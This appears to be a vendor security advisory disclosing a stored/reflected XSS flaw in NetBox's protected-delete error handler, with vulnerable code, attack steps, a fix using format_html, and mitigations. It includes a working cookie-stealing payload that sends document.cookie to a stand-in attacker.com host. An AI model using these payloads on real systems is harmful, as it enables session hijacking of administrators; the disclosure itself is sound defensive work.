Summary
The Netlore Security research team identified a Reflected XSS vulnerability in NetBox, the widely-adopted open-source IPAM/DCIM platform used by thousands of organizations to manage network infrastructure. With over 19.7k GitHub stars and 386 contributors, NetBox serves a broad user base ranging from data centers to telecom operators.
The vulnerability resides in the handle_protectederror function within utilities/error_handlers.py. When a delete operation fails due to protected relationships, object names are injected into the HTML error message without any sanitization. This allows a low-privileged user to execute JavaScript in the context of an administrator's session.
| Field | Detail |
|---|---|
| CVE ID | CVE-2025-69848 |
| CVSS 3.1 | 5.4 (Medium) — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| Affected Versions | NetBox 2.11.0 — 3.7.x |
| Affected Component | utilities/error_handlers.py |
| Discovered By | Alkim Coskun — Netlore Security |
Technical Analysis
NetBox is a Python application built on the Django framework. Django's template engine auto-escapes all variables by default, providing a strong defense against XSS. However, when developers use mark_safe(), they signal to Django that a given string is trusted HTML and should not be escaped.
This is where things go wrong. Here is the vulnerable handle_protectederror function:
from django.utils.html import escape
from django.utils.safestring import mark_safe
def handle_protectederror(obj_list, request, e):
protected_objects = list(e.protected_objects)
protected_count = len(protected_objects) if len(protected_objects) <= 50 else 'More than 50'
err_message = f"Unable to delete <strong>{', '.join(str(obj) for obj in obj_list)}</strong>. " \
f"{protected_count} dependent objects were found: "
dependent_objects = []
for dependent in protected_objects[:50]:
if hasattr(dependent, 'get_absolute_url'):
dependent_objects.append(
f'<a href="{dependent.get_absolute_url()}">{escape(dependent)}</a>'
)
else:
dependent_objects.append(str(dependent))
err_message += ', '.join(dependent_objects)
messages.error(request, mark_safe(err_message))
Notice the asymmetry: dependent objects are sanitized via escape(), but the primary objects in obj_list are converted to strings with str(obj) and placed directly inside HTML. The entire message is then wrapped with mark_safe(), completely bypassing Django's auto-escaping. Any HTML or JavaScript tags within the object name render as-is.
Attack Scenario
Exploitation follows these steps:
1. Create a malicious object: The attacker authenticates with a low-privilege account (sufficient to create objects) and sets the name field to an XSS payload:
<img src=x onerror=alert(document.cookie)>
This name could be applied to a site, device, or any other NetBox object.
2. Establish protected relationships: Dependent objects are attached to the malicious object (e.g., interfaces or cables on a device). Django's PROTECT mechanism prevents deletion of objects that have dependents.
3. Trigger the delete operation: When an administrator attempts to delete the object, Django raises a ProtectedError. NetBox catches it in handle_protectederror and embeds the unescaped object name into the error message.
4. XSS fires: The error message renders in the admin's browser, executing the JavaScript payload. The attacker now operates within the administrator's session context.
A more targeted payload for session hijacking:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Impact Assessment
NetBox is typically operated by network engineers and system administrators — high-privilege users by definition. Successful exploitation enables:
- Session hijacking: Admin cookies exfiltrated to attacker-controlled infrastructure
- Privilege escalation: Full control over the NetBox instance via stolen admin session
- Data exfiltration: IPAM data (IP addresses, network topology, VLAN structures) can be extracted
- Infrastructure tampering: Network configuration data can be modified, potentially causing operational disruptions
The CVSS score of 5.4 (Medium) reflects the requirement for user interaction (triggering the delete). However, given the role IPAM platforms play in critical infrastructure management, real-world impact may exceed what the score suggests.
Root Cause: The mark_safe() Anti-Pattern
This vulnerability is a textbook example of a common Django anti-pattern. mark_safe() gives developers flexibility to construct HTML content, but it places the burden of escaping every dynamic value on the developer.
The correct implementation should use format_html():
from django.utils.html import escape, format_html
err_message = format_html(
"Unable to delete <strong>{}</strong>. {} dependent objects were found: ",
', '.join(str(obj) for obj in obj_list),
protected_count
)
Django's format_html() uses the same syntax as str.format() but auto-escapes all arguments. This is far safer than manual string concatenation with mark_safe().
Recommendations
For NetBox users:
- Upgrade NetBox beyond the 3.7.x release line
- Restrict web interface access to trusted networks
- Implement Content Security Policy (CSP) headers to limit script execution
- Minimize object creation privileges to essential users only
- Deploy WAF rules to block XSS payloads
For Django developers:
- Minimize use of
mark_safe()— preferformat_html()whenever possible - Always sanitize user-controlled values with
escape()before embedding in HTML - Flag
mark_safe()usage for mandatory security review during code review
Responsible Disclosure
This vulnerability was reported under Netlore Security's responsible disclosure policy. After discovery, the vendor was notified and CVE-2025-69848 was assigned.
At Netlore Security, we consider contributing to the security of open-source projects an important responsibility. Contact us to learn more about our security research and penetration testing services.
Need Cybersecurity Consulting?
Our expert team provides comprehensive cybersecurity services to secure your corporate infrastructure. Contact us for detailed information about penetration testing, security audits, and consulting services.
Contact Us